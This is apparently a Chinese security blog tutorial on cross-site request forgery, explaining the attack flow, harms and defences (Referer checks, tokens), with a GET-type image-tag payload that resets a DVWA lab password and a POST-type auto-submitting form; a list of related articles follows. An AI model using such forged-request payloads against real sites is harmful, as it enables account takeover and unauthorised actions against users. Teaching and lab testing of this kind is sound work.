【渗透测试基础】跨站请求伪造CSRF

DVWA系列(五)——使用Burpsuite进行CSRF(跨站请求伪造) 1. CSRF(跨站请求伪造)简介 (1)CSRF CSRF(Cross—site request forgery),跨站请求伪造,是指利用受害者未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下,以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账,改密等)。 (2)CSRF与XSS的区别 ... 阅读详情

01 简介 

CSRF(Cross-Site request Forgery)跨站请求伪造,它是一种挟持用户在当前已登录的web应用程序上执行非本意操作的方法。

 

过程描述:

  1.  用户通过浏览器访问并登录受信任网站A。
  2. 网站A验证通过后,返回cookie信息给浏览器。
  3. 用户在未登出网站A时,访问了恶意网站B。
  4. 恶意网站B返回给用户浏览器包含恶意请求网站A的代码。
  5. 在用户不知道的情况下,用户浏览器携带着步骤2的cookie,访问了网站A,完成攻击。

分析:http协议是无状态的,通过cokies记录会话信息,用户登录网站后,浏览器爆粗cookies信息。再次访问网站时,浏览器会将cookies附带在请求中。且接口只检查cookies信息,无法区分是否用户主动发起的请求。

 02 危害

添加账号

重置密码

任意发帖

……

03 示例

GET型

以dvwa靶场(192.168.77.100)get型csrf为例:

  1. 构造 payload
    <html>
        <body>
            <img src="http://192.168.77.100/dvwa/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123&Change=%E6%94%B9%E5%8F%98" />
        </body>
    </html>
  2. 发送恶意链接(http://192.168.77.130/1.html)给用户诱导用户点击
  3. 模拟用户访问http://192.168.77.130/1.html,携带用户cookie,执行了重置密码操作。如下:
  4. dvwa密码已被重置为admin123

 POST型

需要构造form表单,在网页加载时自动提交,如下:

<html>
<body>
<form action="http://a.com/resetpasswd" method="post">
<input type="hidden" name="user" value="xiaoming" />
<input type="hidden" name="password" value="123456" />
<script>documnet.forms[0].submit()</script>
</form>
</body>
</html>

04 漏洞点

  1. 请求没有refer,token字段,即服务器不判断来源,常常存在csrf。
  2. 有refer,token字段,但是删除这两个字段仍然可以请求成功,说明存在csrf漏洞。

04 防御措施

  1. 检查referer,确认来源可信
  2. 添加token,为接口生成随机token,定义失效时间,在合法请求中带上toke

05 问题

实际渗透测试过程中,发现Edge和chrome并没有携带A网站的cookie信息,原因是受浏览器同源策略的限制,非同源网站无法获取cookie信息,若解决该问题需要解决跨域问题。可参照https://www.cnblogs.com/snowie/p/15044091.html

csrf跨站请求伪造简单示例 一个简单的csrf跨站请求伪造的示例,只有一个简单的表单提交功能.通过伪造表单提交,完成一个简单的钓鱼案例 立即下载

相关推荐

跨站请求伪造-CSRF防护方法

跨站请求伪造-CSRF防护方法跨站请求伪造-CSRF防护方法

关于 CSRF(跨站请求伪造)

攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。. 利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

辉小鱼的博客 524

CSRF跨站请求伪造实例程序

一个php做的简单的银行管理系统,利用cookie值来达到跨站伪造请求的目的,最终造成银行账户余额被修改。

安全测试之 CSRF 跨站点请求伪造

▌CSRF 攻击 CSRF 跨站点请求伪造 (Cross—Site Request Forgery):大概可以理解为攻击者盗用了你的身份,以你的名义在恶意网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,甚至于购买商品、转账等。 例如:Web A 为存在 CSRF 漏洞的网站,Web B 为攻击者构建的恶意网站,User C 为 Web A 网站的合法用户。 CSRF 攻击攻击原理及过程如下: 1.用户 C 打开浏览

测试界的彭于晏的博客 6655

论文研究-跨站请求伪造(CSRF)攻击与防范技术研究 .pdf

跨站请求伪造(CSRF)攻击与防范技术研究,刘雅楠,马兆丰,跨站请求伪造(CSRF)攻击作为最严重的web漏洞威胁之一被列入了开放Web应用安全项目(OWASP)十大漏洞列表。该攻击具有很大隐蔽性和危

国产射频直采收发器CX8242KA JESD204C调试

杭州诚芯公司的CX8242KA是国内开发的极少数支持JESD204C接口的高速AD、DA,Serdes具备支持接收和发送,并且速率可以到25Gbps,在国内属于领先水平。250M参考时钟输入,AD采样率2.5G,DA采样率10G,3收2发,主通道模式4,反馈通道模式1,基带采样率1250M,线速率20.625G,收发同时配置混频625M。CX8242KA的204C接口模式支持10种模式,在手册上都有说明。2、 支持TX信道编码,RX信道解码,提升健壮性。这里使用模式4,支持双通道模式,并且反馈开启。

RFSOC的博客 6219

跨站请求伪造(CSRF)测试

创建一个恶意网页或应用程序,其中包含指向目标API端点的请求,这些请求在用户访问恶意页面时自动执行。请求中应包含所有必要的认证信息,如Cookie、Token或会话ID,这些信息通常由用户的浏览器自动发送。利用自动化工具,如Burp Suite的CSRF Scanner、OWASP ZAP等,可以帮助发现和验证CSRF漏洞。审查Web应用程序的所有API端点,特别是那些执行敏感操作的端点,如账户设置、资金转移、权限更改等。分析漏洞的严重性,考虑其对用户安全的潜在影响,并确定修复的优先级。

无极低码 706

医学影像弹性形变处理

这段代码的主要流程是:读取 DICOM 医学影像,尝试使用 MONAI 进行弹性形变(根据版本适配),如果失败则使用 OpenCV 实现,最后可视化并保存处理结果。这样可以在不同环境下灵活处理医学影像的弹性形变需求。后面会写一篇解释弹性变形方法的短文。

wh_xia_jun的专栏 778

【burpsuite安全练兵场-客户端12】跨站点请求伪造CSRF-12个实验(全)

一、跨站点请求伪造(CSRF)1、简述:2、影响:3、原理:4、构造CSRF攻击实验1:无防御的CSRF漏洞5、利用CSRF6、针对CSRF的常见防御措施二、绕过CSRF令牌验证1、CSRF令牌2、CSRF令牌的验证取决于请求方法实验2:令牌验证取决于请求方法的CSRF3、CSRF令牌的验证取决于令牌是否存在实验3:CSRF,其中令牌验证取决于令牌是否存在4、CSRF令牌未绑定到用户会话实验4:令牌未绑定到用户会话的CSRF5、CSRF令牌绑定到非会话Cookie。

baimao__Ch的博客 1718

Linux新手必看:FinalShell连接不上?从检查IP到配置固定地址的完整排错指南

本文为Linux新手提供了FinalShell连接失败的完整排错指南,涵盖IP检查、SSH服务状态、防火墙配置和静态IP设置等关键步骤。通过详细的命令行操作和配置示例,帮助用户快速解决远程连接问题,提升Linux使用效率。

weixin_30675247的博客 753

【机电杂谈2】BLDC和PMSM的特点和区别

在日常生活中,小到电动玩具,大到电动汽车,永磁电机的身影可以说是无处不在。有刷直流电机、无刷直流电机、永磁同步电机由于其结构和输出特定的不同也被应用到不同的场合。如果你经常拆一些玩具和家电,就会看到大量的有刷直流电机和无刷直流电机,而永磁同步电机主要应用在高精度的工业伺服和电动汽车领域。本文就从电机的结构和控制方面,对这几种常见的永磁电机做简单的梳理和归纳。

2934

Web渗透测试之CSRF 跨站脚本伪造 原理 检测行为 攻击重点 挖掘手法 防御手法 一篇文章说的明明白白

CSRF跨站请求伪造,尽管听起来像是跨站脚本但是它和xss不相同,xss利用站点内的信任用户,从而csrf则通过伪装成受信任用户请求受信任网站这个就是很难防范了,所以csrf比css更加具有危险性。csrf也称之为蠕虫攻击,刷seo流量等其实现在电信诈骗叔叔叫我们不要扫描二维码我们就可能遭受财产得损失因为这样我们得信息【Cookie session 键盘操作 用户名密码等等】就可能被盗取了从而就导致财产损失,其实这种也叫钓鱼行为。实现步骤。

盾悟 1万+

OBC_开环扫频波特图拟合操作流程(结合 Simulink)

摘要: 本文详细介绍了基于Simulink的开环扫频波特图测试与拟合流程,适用于电源/控制系统(如LLC/PFC)的小信号分析。主要内容包括:1)前期准备(测试点选择、信号范围设定);2)Simulink建模方法(信号注入、数据记录);3)两种扫频方式(逐频正弦/Chirp扫频)的实现;4)MATLAB数据处理(FFT分析、传递函数拟合);5)线性分析工具使用技巧。重点强调了激励信号幅值控制、稳态数据采集及模型验证方法,并提供完整MATLAB脚本示例。该流程可有效获取系统频域特性,为控制器设计提供可靠依据。

Sumerking的博客 232

渗透测试之什么叫CSRF【跨站脚本伪造】攻击手法OR防御手简单教会你玩玩钓鱼手法

CSRF(跨站请求伪造)是一种利用用户认证状态发起恶意请求的网络攻击方式。它与XSS不同,主要通过伪装用户身份执行非法操作,如转账、购物等,具有隐蔽性强、危害大的特点。攻击流程包括伪造请求、诱导用户触发、利用用户认证完成攻击。CSRF分为站内和站外两种类型,前者利用网站内部功能,后者通过外部恶意页面发起。防范措施需结合技术手段(如Token验证)和安全意识教育。文章还提供了网络安全学习资源,帮助读者深入了解和防范此类攻击。

2402_84205067的博客 494

CCF编程培训师资认证(PTA)标准(教学能力T)

随着计算机科学的不断发展,计算机相关技术应用到社会各个行业,越来越多的青少年参加到了计算机程序设计的学习中,这对编程培训教师提出了更高的专业要求和职业要求。CCF开展编程培训师资认证项目(Programming Trainer Accreditation,PTA),旨在建立一个规范的、科学的、权威且有公信力的三方认证。认证考试分编程专业能力(P)和教学能力(T)两部分。本标准根据《CCF编程培训师资认证条例》第十条制定,旨在明确教学能力(T)的测试标准。

lan_in的博客 1708

影像组学文章复现:ITHscore:通过多尺度放射学特征全面定量NSCLC肿瘤内异质性 ----小细胞肺癌肿瘤异质性评分

目的:通过计算机断层扫描(CT)图像量化非小细胞肺癌(NSCLC)的肿瘤内异质性(ITH)。 方法:整合局部辐射特征和全局像素分布模式,开发定量ITH测量-ITHscore。在六个患者队列(n = 1399)中检查ITHscore与肿瘤表型,基因型和患者预后的关联,以验证其在表征ITH方面的有效性。

xxx 1020

「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

面试的时候的著名问题:“谈一谈你对 CSRF 与 SSRF 区别的看法”这个问题,如果我们用非常通俗的语言讲的话,CSRF 更像是钓鱼的举动,是用户攻击用户的;而对于 SSRF 来说,是由服务器发出请求,用户。

小王的技术库 720

静态时序分析(STA)基本概念

静态时序分析中常见概念(fasle Path,multicycle path等)

m0_61544122的博客 2253

CSRF漏洞原理与防御实战指南

跨站请求伪造(CSRF)是一种利用Web应用隐式信任机制的安全漏洞,攻击者通过伪造合法用户的请求执行非授权操作。其技术原理基于浏览器同源策略的缺陷,允许跨域发送携带认证信息的请求。在Web安全领域,CSRF常与XSS并列为客户端主要威胁,防御需结合CSRF Token、SameSite Cookie等机制。典型应用场景包括电商交易、账户设置修改等关键业务操作,企业级防护需构建包含网络层过滤、应用层校验的多维度防御体系。通过分析会话cookie依赖性和请求可预测性等热词特征,可有效识别和防范这类隐蔽攻击。

weixin_28622215的博客 201

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

CSRF跨站请求伪造实战:从原理到渗透测试与防御解析

Web安全的核心挑战之一,是如何在HTTP无状态协议下准确区分合法请求与恶意伪造。跨站请求伪造(CSRF)正是利用浏览器自动携带Cookie的机制,让受害者在不知情的情况下向已登录的站点提交请求。理解其攻击三要素与请求链路,是构建Web应用防御体系的重要基础。在渗透测试中,CSRF常与XSS形成连锁风险,检测时需要重点检查Token绑定、SameSite属性及二次验证等关键点。无论是银行转账、修改密码还是订单操作,缺乏防护的敏感接口都可能成为突破口。本文从实战视角系统梳理CSRF的原理、典型场景、检测方法与

weixin_31648507的博客 75

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

互联网安全架构之渗透测试及常见的Web攻击手段

网络防御主要是针对各类网络攻击提供网络安全防御方案,为了应对攻击技术的不断革新,防御技术已经逐步从被动防御的历史阶段转变为主动防御阶段。

互联网小阿祥 2063

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

CSRF漏洞原理、攻击方式与防护方案详解

CSRF(跨站请求伪造)是一种利用浏览器自动携带身份凭证机制的安全漏洞,属于Web应用基础安全威胁。其核心原理是攻击者诱导用户访问恶意页面时,利用已保存的会话Cookie自动发起非预期请求。在电商支付、银行转账等业务场景中,CSRF可造成严重危害。典型攻击方式包括GET型请求伪造、表单自动提交以及结合XSS的混合攻击。防御方案需采用多层次防护,如同源策略校验、CSRF Token机制以及关键操作二次认证。在OWASP Top 10中,CSRF长期位列高危漏洞,企业应定期进行渗透测试和代码审计,特别要关注分布

weixin_33935636的博客 131

真的,Web安全入门看这个就够了!

超文本传输协议,HTTP是基于B/S架构进行通信的,而HTTP的服务器端实现程序有httpd、nginx等,其客户端的实现程序主要是Web浏览器,例如Firefox、InternetExplorer、Google chrome、Safari、Opera等HTTP是基于客户/服务器模式,且面向连接的。典型的HTTP事务处理有如下的过程(1)客户与服务器建立连接;(2)客户向服务器提出请求;(3)服务器接受请求,并根据请求返回相应的文件作为应答;(4)客户与服务器关闭连接。

h1453586413的博客 239

网络安全-常见网络攻防手段之CSRF攻击

实例:小张在某银行网站输入用户名和密码成功登录并完成相应操作,还未关闭该网页,浏览器弹出广告“恭喜您获得抽取大奖的机会”,小张兴奋地点击进去,而后发现银行账号上的1000元被盗取。上述结果通常是由被称作CSRF的网络攻击手段造成的,全称是跨站请求伪造(Cross-site Request Forgery),也被称为One-Click Attack 或Session Riding,缩写为 CSRF 或者 XSRF。它可以利用用户在目标网站上已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。

qq_44005305的博客 1132

渗透之路基础 -- 跨站伪造请求CSRF

漏洞产生原因及原理 跨站请求伪造是指攻击者可以在第三方站点制造HTTP请求并以用户在目标站点的登录态发送到目标站点,而目标站点未校验请求来源使第三方成功伪造请求。 XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。 与XSS区别 ​ XSS是可以获取到用户的cookie,不需要伪造,是用户直接触发,它可以完成网站上脚本的任意功能 ​ CSRF不知道cookie的...

r0cky的博客 181
上一篇: ICMP隧道
下一篇: 【渗透测试基础】越权攻击讲解
^^_candice
博客等级 码龄10年 3粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值